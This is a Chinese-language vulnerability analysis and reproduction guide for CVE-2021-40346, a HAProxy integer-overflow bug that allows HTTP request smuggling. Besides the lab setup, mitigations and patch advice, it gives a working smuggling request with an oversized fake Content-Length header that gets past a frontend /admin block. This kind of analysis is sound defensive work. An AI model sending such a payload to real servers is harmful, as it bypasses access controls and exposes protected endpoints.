HAProxy请求走私漏洞(CVE-2021-40346)分析
字数 1285 2025-08-09 15:23:15
HAProxy请求走私漏洞(CVE-2021-40346)深入分析与复现指南
漏洞概述
CVE-2021-40346是HAProxy中存在的一个严重整数溢出漏洞,可导致HTTP请求走私攻击。该漏洞影响广泛,危害严重,已在HAProxy 2.0.25、2.2.17、2.3.14和2.4.4版本中修复。
漏洞背景
HAProxy简介
HAProxy是一个高性能的负载均衡器和反向代理,特别适用于高流量网站,支持数以万计的并发连接。它提供TCP和HTTP应用程序代理功能。
HTTP请求走私
HTTP请求走私是一种利用前端代理服务器和后端服务器对HTTP请求解析差异的攻击技术。攻击者可以:
- 绕过安全控制(如ACL)
- 未经授权访问敏感数据
- 执行未授权命令或修改数据
- 劫持用户会话
- 利用反射型XSS漏洞
漏洞技术分析
漏洞根源
漏洞源于HAProxy处理HTTP头时的整数溢出问题,具体在解析Content-Length头时:
-
请求头解析机制:
- HAProxy将请求头和请求体解析为htx块结构数组
- 每个块的
blk->info字段包含类型、键长度和值长度信息 - 计算公式:
blk->info += (value.len << 8) + name.len
-
整数溢出点:
name.len理论上限制为8位(0-255),但代码中无实际限制- 当
name.len超过255时,会导致整数溢出,影响value.len的取值
漏洞利用原理
通过精心构造超长键名的HTTP头:
- 构造一个键名长度为270的伪造
Content-Length头 - 整数溢出导致:
- 键长度被截断为14(
270 % 256) - 值长度被设置为1(溢出进位)
- 键长度被截断为14(
- 结果解析为
Content-Length: 0,同时忽略后续合法的Content-Length头 - 实现请求走私,将后续数据作为独立请求发送
漏洞复现
环境搭建
-
后端服务:
from flask import Flask app = Flask(__name__) @app.route('/guest') def guest(): return 'Hello Guest!' @app.route('/admin') def admin(): return 'Hello Admin!' if __name__ == '__main__': app.run()使用Gunicorn启动:
gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:5000 -w 20 main:app -
HAProxy配置(2.2.16版本):
global daemon defaults mode http timeout client 50000 timeout server 50000 timeout connect 50000 frontend web bind *:8000 http-request deny if { path_beg /admin } default_backend websrvs backend websrvs http-reuse always server srv1 flask:5000
攻击步骤
-
构造恶意请求:
POST /guest HTTP/1.1 Host: target.com Content-Length0aaaaaaaa...[270个a]: Content-Length: 60 GET /admin HTTP/1.1 Host: target.com abc: xyz -
请求处理流程:
- 前端HAProxy解析为单个请求到
/guest - 后端服务器解析为两个请求:
/guest和/admin - 绕过HAProxy的
/admin访问限制
- 前端HAProxy解析为单个请求到
漏洞修复
修复方案简单有效:
- 添加对HTTP头键长度的严格校验
- 确保
name.len不超过255字节限制
防御建议
- 及时升级到修复版本(2.0.25+/2.2.17+/2.3.14+/2.4.4+)
- 在前端和后端使用相同的HTTP解析实现
- 禁用连接重用(
http-reuse设置为never) - 实施严格的HTTP头验证
总结
CVE-2021-40346展示了HTTP协议实现中整数溢出可能导致的安全问题。通过精心构造的HTTP头,攻击者可利用解析差异实现请求走私,绕过安全限制。该漏洞强调了:
- 边界检查的重要性
- 协议实现一致性的必要性
- 深度防御策略的价值